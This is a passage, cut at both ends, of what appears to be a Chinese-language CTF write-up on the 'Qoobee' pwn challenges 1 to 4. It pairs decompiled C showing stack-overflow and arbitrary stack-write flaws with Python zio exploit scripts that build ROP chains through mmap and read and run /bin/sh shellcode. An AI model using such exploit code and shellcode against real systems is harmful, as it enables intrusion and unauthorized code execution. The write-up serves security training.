class="string">'''</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> zio <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">target = <span class="string">'./qoobee'</span></span><br><span class="line">io = zio(target)</span><br><span class="line"></span><br><span class="line">read_buf = l32(<span class="number">0x804c090</span>)</span><br><span class="line">call_edx = l32(<span class="number">0x0804887d</span>)</span><br><span class="line">str_flag = l32(<span class="number">0x08049F7E</span>)</span><br><span class="line">str_r = l32(<span class="number">0x08049F7C</span>)</span><br><span class="line">s = l32(<span class="number">0xffffce8d</span>)</span><br><span class="line">extern = l32(<span class="number">0x0804b7cc</span>)</span><br><span class="line">leave_ret = l32(<span class="number">0x08048a4f</span>)</span><br><span class="line">ppr = l32(<span class="number">0x0804992a</span>)</span><br><span class="line">pppr = l32(<span class="number">0x08049929</span>)</span><br><span class="line">\<span class="comment"># gen by alpha2 baseaddr is eax</span></span><br><span class="line">shellcode = <span class="string">"PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIFQo9kGyqNP4KrqPhDoToD3sXaxtoSRbIPnK9yszmK0wzA"</span></span><br><span class="line">\<span class="comment"># shellcode2  tiny sh without x0b</span></span><br><span class="line">shellcode2 = <span class="string">"x31xc9xf7xe1xb0xf4xf6xd0x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"</span></span><br><span class="line">read_got = l32(<span class="number">0x08048660</span>)</span><br><span class="line">fopen_got = l32(<span class="number">0x08048780</span>)</span><br><span class="line">write_got = l32(<span class="number">0x08048760</span>)</span><br><span class="line">data = l32(<span class="number">0x0804B7A8</span>)</span><br><span class="line">bss = l32(<span class="number">0x0804b7c0</span>)</span><br><span class="line">memcpy_got = l32(<span class="number">0x08048690</span>)</span><br><span class="line">mmap_got =l32(<span class="number">0x08048730</span>)</span><br><span class="line"></span><br><span class="line">payload =<span class="string">''</span></span><br><span class="line"></span><br><span class="line">\<span class="comment"># mmap</span></span><br><span class="line">payload += <span class="string">'-214n'</span></span><br><span class="line"></span><br><span class="line">\<span class="comment"># read shellcode to exec</span></span><br><span class="line">payload += shellcode+<span class="string">'ymkelwinn'</span></span><br><span class="line"></span><br><span class="line">\<span class="comment"># print payload</span></span><br><span class="line">io.write(payload)</span><br><span class="line">io.interact()</span><br></pre></td></tr></table></figure><h1 id="Qoobee2"><a href="#Qoobee2" class="headerlink" title="Qoobee2"></a>Qoobee2</h1><p>补上了上一个漏洞，去掉了执行代码，但是还是mmap了可执行的内存</p><h2 id="利用分析-1"><a href="#利用分析-1" class="headerlink" title="利用分析"></a>利用分析</h2><p>功能1中输入name存在溢出。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> \_\_cdecl sub\_804970E(<span class="keyword">int</span> a1)</span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">int</span> result; <span class="comment">// eax@4</span></span><br><span class="line">  <span class="keyword">char</span> v2\[<span class="number">12</span>\]; <span class="comment">// \[sp+1Ch\] \[bp-3Ch\]@1</span></span><br><span class="line">  <span class="keyword">int</span> v3; <span class="comment">// \[sp+28h\] \[bp-30h\]@1</span></span><br><span class="line">  <span class="keyword">int</span> i; <span class="comment">// \[sp+4Ch\] \[bp-Ch\]@1</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">"Now input the information for your QooBee Dragon:"</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">"QooBee Name: "</span>);</span><br><span class="line">  \_\_isoc99\_scanf(<span class="string">"%s"</span>, v2);                     <span class="comment">// stack overflow</span></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">"QooBee Age: "</span>);</span><br><span class="line">  \_\_isoc99\_scanf(<span class="string">"%d"</span>, &amp;v3);</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; v2\[i\]; ++i )</span><br><span class="line">    *(_BYTE *)(a1 + i + <span class="number">20</span>) = v2\[i\];</span><br><span class="line">  result = a1;</span><br><span class="line">  *(_DWORD *)(a1 + <span class="number">32</span>) = v3;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>利用-214功能中的mmap开辟的可执行缓冲区执行shellcode。 写exp的时候用了ret2libc的方法，没有直接用上一种方法的shellcode</p><h2 id="利用代码-1"><a href="#利用代码-1" class="headerlink" title="利用代码"></a>利用代码</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">name stack overflow</span></span><br><span class="line"><span class="string">patched in qoobee3</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="keyword">from</span> zio <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">target = <span class="string">'./qoobee'</span></span><br><span class="line">io = zio(target)</span><br><span class="line"></span><br><span class="line">read_buf = l32(<span class="number">0x804c090</span>)</span><br><span class="line">call_edx = l32(<span class="number">0x0804887d</span>)</span><br><span class="line">str_flag = l32(<span class="number">0x08049F7E</span>)</span><br><span class="line">str_r = l32(<span class="number">0x08049F7C</span>)</span><br><span class="line">s = l32(<span class="number">0xffffce8d</span>)</span><br><span class="line">extern = l32(<span class="number">0x0804b7cc</span>)</span><br><span class="line">leave_ret = l32(<span class="number">0x08048a4f</span>)</span><br><span class="line">ppr = l32(<span class="number">0x0804992a</span>)</span><br><span class="line">pppr = l32(<span class="number">0x08049929</span>)</span><br><span class="line">\<span class="comment"># shellcode tiny sh</span></span><br><span class="line">shellcode = <span class="string">"x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"</span></span><br><span class="line">read_got = l32(<span class="number">0x08048660</span>)</span><br><span class="line">fopen_got = l32(<span class="number">0x08048780</span>)</span><br><span class="line">write_got = l32(<span class="number">0x08048760</span>)</span><br><span class="line">data = l32(<span class="number">0x0804B7A8</span>)</span><br><span class="line">bss = l32(<span class="number">0x0804b7c0</span>)</span><br><span class="line">memcpy_got = l32(<span class="number">0x08048690</span>)</span><br><span class="line">mmap_got =l32(<span class="number">0x08048730</span>)</span><br><span class="line"></span><br><span class="line">payload =<span class="string">''</span></span><br><span class="line"></span><br><span class="line">\<span class="comment"># function -214 mmap</span></span><br><span class="line">payload += <span class="string">'-214n'</span></span><br><span class="line">payload += <span class="string">'9999999n'</span></span><br><span class="line"></span><br><span class="line">\<span class="comment"># function 1</span></span><br><span class="line">payload += <span class="string">'1n'</span></span><br><span class="line"></span><br><span class="line">\<span class="comment"># junk</span></span><br><span class="line">payload += <span class="string">'x00'</span> + <span class="string">'x90'</span>*<span class="number">59</span> <span class="comment">#2222</span></span><br><span class="line"></span><br><span class="line">\<span class="comment"># ebp</span></span><br><span class="line">payload += l32(<span class="number">0x804b7e0</span>)</span><br><span class="line"></span><br><span class="line">\<span class="comment"># eip read</span></span><br><span class="line">payload += read_got</span><br><span class="line"></span><br><span class="line">\<span class="comment"># read ret to 0x80000004</span></span><br><span class="line">payload += l32(<span class="number">0x80000004</span>)</span><br><span class="line"></span><br><span class="line">\<span class="comment"># read args</span></span><br><span class="line">payload += l32(<span class="number">0x0</span>)</span><br><span class="line">payload += l32(<span class="number">0x80000000</span>)</span><br><span class="line">payload += l32(<span class="number">0x80</span>)</span><br><span class="line">payload += <span class="string">'n'</span></span><br><span class="line"></span><br><span class="line">\<span class="comment"># input age</span></span><br><span class="line">payload += <span class="string">'aaaan'</span></span><br><span class="line"></span><br><span class="line">\<span class="comment"># read shellcode to exec</span></span><br><span class="line">payload += shellcode</span><br><span class="line"></span><br><span class="line">io.write(payload)</span><br><span class="line">io.interact()</span><br></pre></td></tr></table></figure><h1 id="Qoobee3"><a href="#Qoobee3" class="headerlink" title="Qoobee3"></a>Qoobee3</h1><p>修补了上个漏洞</p><h2 id="利用分析-2"><a href="#利用分析-2" class="headerlink" title="利用分析"></a>利用分析</h2><p>打工输入指令过滤存在问题，可以写栈内存</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> \_\_cdecl fun5\_sub_8048F93(<span class="keyword">int</span> a1)</span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">int</span> result; <span class="comment">// eax@14</span></span><br><span class="line">  <span class="keyword">signed</span> <span class="keyword">int</span> i; <span class="comment">// \[sp+0h\] \[bp-58h\]@2</span></span><br><span class="line">  <span class="keyword">signed</span> <span class="keyword">int</span> j; <span class="comment">// \[sp+0h\] \[bp-58h\]@5</span></span><br><span class="line">  <span class="keyword">signed</span> <span class="keyword">int</span> k; <span class="comment">// \[sp+0h\] \[bp-58h\]@9</span></span><br><span class="line">  <span class="keyword">int</span> v5; <span class="comment">// \[sp+4h\] \[bp-54h\]@1</span></span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> v6; <span class="comment">// \[sp+8h\] \[bp-50h\]@1</span></span><br><span class="line">  <span class="keyword">int</span> op; <span class="comment">// \[sp+Ch\] \[bp-4Ch\]@8</span></span><br><span class="line">  <span class="keyword">int</span> v8; <span class="comment">// \[sp+10h\] \[bp-48h\]@1</span></span><br><span class="line">  <span class="keyword">int</span> v9; <span class="comment">// \[sp+14h\] \[bp-44h\]@1</span></span><br><span class="line">  <span class="keyword">int</span> v10; <span class="comment">// \[sp+18h\] \[bp-40h\]@1</span></span><br><span class="line">  <span class="keyword">int</span> v11; <span class="comment">// \[sp+1Ch\] \[bp-3Ch\]@1</span></span><br><span class="line">  <span class="keyword">int</span> v12\[<span class="number">4</span>\]; <span class="comment">// \[sp+20h\] \[bp-38h\]@3</span></span><br><span class="line">  <span class="keyword">int</span> v13\[<span class="number">4</span>\]; <span class="comment">// \[sp+30h\] \[bp-28h\]@3</span></span><br><span class="line">  <span class="keyword">char</span> *format; <span class="comment">// \[sp+40h\] \[bp-18h\]@1</span></span><br><span class="line">  <span class="keyword">int</span> v15; <span class="comment">// \[sp+44h\] \[bp-14h\]@1</span></span><br><span class="line">  <span class="keyword">int</span> v16; <span class="comment">// \[sp+48h\] \[bp-10h\]@1</span></span><br><span class="line">  <span class="keyword">int</span> v17; <span class="comment">// \[sp+4Ch\] \[bp-Ch\]@1</span></span><br><span class="line"></span><br><span class="line">  v8 = <span class="number">0</span>;</span><br><span class="line">  v9 = <span class="number">0</span>;</span><br><span class="line">  v10 = <span class="number">0</span>;</span><br><span class="line">  v11 = <span class="number">0</span>;</span><br><span class="line">  v5 = <span class="number">0</span>;</span><br><span class="line">  v6 = <span class="number">0</span>;</span><br><span class="line">  format = <span class="string">"0. Moving bricks: $%d/1h (spend %d Vit)n"</span>;</span><br><span class="line">  v15 = (<span class="keyword">int</span>)<span class="string">"1. Sell Meng: $%d/1h (spend %d Vit)n"</span>;</span><br><span class="line">  v16 = (<span class="keyword">int</span>)<span class="string">"2. Capture the Flag: $%d/1h (spend %d Vit)n"</span>;</span><br><span class="line">  v17 = (<span class="keyword">int</span>)<span class="string">"3. Pwnning: $%d/1h (spend %d Vit)n"</span>;</span><br><span class="line">  <span class="keyword">if</span> ( a1 )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt;= <span class="number">3</span>; ++i )</span><br><span class="line">    &#123;</span><br><span class="line">      v12\[i\] = get_randnum(<span class="number">75</span>, <span class="number">150</span>);</span><br><span class="line">      v13\[i\] = get_randnum(<span class="number">50</span>, <span class="number">150</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">for</span> ( j = <span class="number">0</span>; j &lt;= <span class="number">3</span>; ++j )</span><br><span class="line">      <span class="built_in">printf</span>((&amp;format)\[<span class="number">4</span> * j\], v12\[j\], v13\[j\]);</span><br><span class="line">    <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"Which one you want QooBee to work(99 to leave)? "</span>);</span><br><span class="line">      op = safe_readint();</span><br><span class="line">      <span class="keyword">if</span> ( op == <span class="number">99</span> )</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"How long for this one? "</span>);</span><br><span class="line">      *(&amp;v8 + op) = safe_readint();             <span class="comment">// write dowrod in stack</span></span><br><span class="line">                                                <span class="comment">// patched in qoobee4</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">for</span> ( k = <span class="number">0</span>; k &lt;= <span class="number">3</span>; ++k )</span><br><span class="line">    &#123;</span><br><span class="line">      v6 += v13\[k\] * *(&amp;v8 + k);</span><br><span class="line">      v5 += v12\[k\] * *(&amp;v8 + k);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ( *(_DWORD *)(a1 + <span class="number">16</span>) &lt; v6 )</span><br><span class="line">    &#123;</span><br><span class="line">      result = <span class="built_in">puts</span>(<span class="string">"5555...Your QooBee's vit is too low..He need have a rest!"</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      *(_DWORD *)(a1 + <span class="number">16</span>) -= v6;</span><br><span class="line">      *(_DWORD *)a1 += v5;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"Your baby earned $%d..n"</span>, v5);</span><br><span class="line">      result = <span class="built_in">printf</span>(<span class="string">"Total Money: $%d !n"</span>, *(_DWORD *)a1);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    result = <span class="built_in">puts</span>(<span class="string">"You need adopt a QooBee Dragon first!"</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>写入ROP链 ROP调用mmap read之后执行shellcode</p><h2 id="利用代码-2"><a href="#利用代码-2" class="headerlink" title="利用代码"></a>利用代码</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">function 5 work</span></span><br><span class="line"><span class="string">patched in qoobee4</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> zio <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"></span><br><span class="line">target = <span class="string">'./qoobee'</span></span><br><span class="line">io = zio(target, timeout=<span class="number">800000</span>)</span><br><span class="line"></span><br><span class="line">read_buf = l32(<span class="number">0x804c090</span>)</span><br><span class="line">call_edx = l32(<span class="number">0x0804887d</span>)</span><br><span class="line">str_flag = l32(<span class="number">0x08049F7E</span>)</span><br><span class="line">str_r = l32(<span class="number">0x08049F7C</span>)</span><br><span class="line">s = l32(<span class="number">0xffffce8d</span>)</span><br><span class="line">extern = l32(<span class="number">0x0804b7cc</span>)</span><br><span class="line">leave_ret = l32(<span class="number">0x08048a4f</span>)</span><br><span class="line">pr = l32(<span class="number">0x08048bc6</span>)</span><br><span class="line">ppr = l32(<span class="number">0x0804992a</span>)</span><br><span class="line">pppr = l32(<span class="number">0x08049929</span>)</span><br><span class="line">p7r = l32(<span class="number">0x08049925</span>)</span><br><span class="line">read_got = l32(<span class="number">0x08048660</span>)</span><br><span class="line">fopen_got = l32(<span class="number">0x08048780</span>)</span><br><span class="line">write_got = l32(<span class="number">0x08048760</span>)</span><br><span class="line">data = l32(<span class="number">0x0804B7A8</span>)</span><br><span class="line">bss = l32(<span class="number">0x0804b7c0</span>)</span><br><span class="line">memcpy_got = l32(<span class="number">0x08048690</span>)</span><br><span class="line">mmap_got =l32(<span class="number">0x08048730</span>)</span><br><span class="line"></span><br><span class="line">\<span class="comment"># -214 mmap 0x80000000</span></span><br><span class="line">io.writeline(<span class="string">'-214'</span>)</span><br><span class="line">io.writeline(<span class="string">'hello'</span>)</span><br><span class="line"></span><br><span class="line">\<span class="comment"># adopt qoobee</span></span><br><span class="line">io.writeline(<span class="string">'1'</span>)</span><br><span class="line">io.writeline(<span class="string">'1'</span>)</span><br><span class="line">io.writeline(<span class="string">'1'</span>)</span><br><span class="line">io.writeline(<span class="string">'1'</span>)</span><br><span class="line">io.read_until(<span class="string">'Your Choice:'</span>)</span><br><span class="line"></span><br><span class="line">\<span class="comment"># work</span></span><br><span class="line">io.writeline(<span class="string">'5'</span>)</span><br><span class="line"></span><br><span class="line">payload = \[</span><br><span class="line">\<span class="comment"># ebp</span></span><br><span class="line">l32(<span class="number">0x21000000</span>),</span><br><span class="line">\<span class="comment"># eip jmp pr</span></span><br><span class="line">pr,</span><br><span class="line">\<span class="comment"># a1</span></span><br><span class="line">l32(<span class="number">0x80000000</span>),</span><br><span class="line">\<span class="comment"># mmap</span></span><br><span class="line">mmap_got,</span><br><span class="line">\<span class="comment"># p7r</span></span><br><span class="line">p7r,</span><br><span class="line">\<span class="comment"># mmap args</span></span><br><span class="line">l32(<span class="number">0x21000000</span>), l32(<span class="number">0x100</span>), l32(<span class="number">7</span>), l32(<span class="number">50</span>), l32(<span class="number">-1</span>), l32(<span class="number">0</span>),</span><br><span class="line">l32(<span class="number">0</span>), <span class="comment">#padding</span></span><br><span class="line">\<span class="comment"># read</span></span><br><span class="line">read_got,</span><br><span class="line">\<span class="comment"># jmp shellcode</span></span><br><span class="line">l32(<span class="number">0x21000000</span>),</span><br><span class="line">\<span class="comment"># read args</span></span><br><span class="line">l32(<span class="number">0</span>), l32(<span class="number">0x21000000</span>), l32(<span class="number">0x100</span>),</span><br><span class="line">\]</span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> payload</span><br><span class="line"></span><br><span class="line">i = <span class="number">0</span></span><br><span class="line">\<span class="comment"># io.gdb_hint()</span></span><br><span class="line"><span class="keyword">for</span> dword <span class="keyword">in</span> payload:</span><br><span class="line">    io.read_until(<span class="string">'Which one you want QooBee to work(99 to leave)?'</span>)</span><br><span class="line">    io.writeline(<span class="string">"%d"</span> % (<span class="number">18</span>+i))</span><br><span class="line">    io.read_until(<span class="string">'How long for this one?'</span>)</span><br><span class="line">    io.writeline(<span class="string">"%u"</span> % struct.unpack(<span class="string">'&lt;i'</span>, dword))</span><br><span class="line">    i += <span class="number">1</span></span><br><span class="line"></span><br><span class="line">io.writeline(<span class="string">'99'</span>)</span><br><span class="line">io.writeline(shellcode2)</span><br><span class="line"></span><br><span class="line">io.interact()</span><br></pre></td></tr></table></figure><h1 id="Qoobee4"><a href="#Qoobee4" class="headerlink" title="Qoobee4"></a>Qoobee4</h1><h2 id="利用分析-3"><a href="#利用分析-3" class="headerlink" title="利用分析"></a>利用分析</h2><p>fun1的输入description栈溢出</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> \_\_cdecl sub\_8048BC8(<span class="keyword">int</span> a1)</span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">int</span> v1; <span class="comment">// ST28_4@1</span></span><br><span class="line">  <span class="keyword">int</span> v2; <span class="comment">// ecx@1</span></span><br><span class="line">  <span class="keyword">int</span> result; <span class="comment">// eax@1</span></span><br><span class="line">  <span class="keyword">char</span> src; <span class="comment">// \[sp+1Eh\] \[bp-2Ah\]@1</span></span><br><span class="line">  <span class="keyword">int</span> v5; <span class="comment">// \[sp+3Ch\] \[bp-Ch\]@1</span></span><br><span class="line"></span><br><span class="line">  v5 = *MK\_FP(\_\_GS__, <span class="number">20</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">"Description(%d bytes): "</span>, <span class="number">30</span>);        <span class="comment">// stack overflow</span></span><br><span class="line">  v1 = safe_read(&amp;src, <span class="number">100</span>);</span><br><span class="line">  <span class="built_in">memcpy</span>((<span class="keyword">void</span> *)(a1 + <span class="number">36</span>), &amp;src, v1);</span><br><span class="line">  *(_BYTE *)(a1 + v1 + <span class="number">36</span>) = <span class="number">10</span>;</span><br><span class="line">  *(_BYTE *)(a1 + v1 + <span class="number">1</span> + <span class="number">36</span>) = <span class="number">0</span>;</span><br><span class="line">  result = *MK\_FP(\_\_GS__, <span class="number">20</span>) ^ v5;</span><br><span class="line">  <span class="keyword">if</span> ( *MK\_FP(\_\_GS__, <span class="number">20</span>) != v5 )</span><br><span class="line">    \_\_stack\_chk_fail(v2);</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>先利用fun2的printf漏洞（见Qoobee6）读取canary 注意一次只读100 bytes，分两次执行</p><h2 id="利用代码-3"><a href="#利用代码-3" class="headerlink" title="利用代码"></a>利用代码</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">description stack overflow</span></span><br><span class="line"><span class="string">patched in qoobee4</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> zio <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"></span><br><span class="line">target = <span class="string">'./qoobee'</span></span><br><span class="line">io = zio(target, timeout=<span class="number">800000</span>)</span><br><span class="line"></span><br><span class="line">read_buf = l32(<span class="number">0x804c090</span>)</span><br><span class="line">call_edx = l32(<span class="number">0x0804887d</span>)</span><br><span class="line">str_flag = l32(<span class="number">0x08049F7E</span>)</span><br><span class="line">str_r = l32(<span class="number">0x08049F7C</span>)</span><br><span class="line">s = l32(<span class="number">0xffffce8d</span>)</span><br><span class="line">extern = l32(<span class="number">0x0804b7cc</span>)</span><br><span class="line">leave_ret = l32(<span class="number">0x08048a4f</span>)</span><br><span class="line">pr = l32(<span 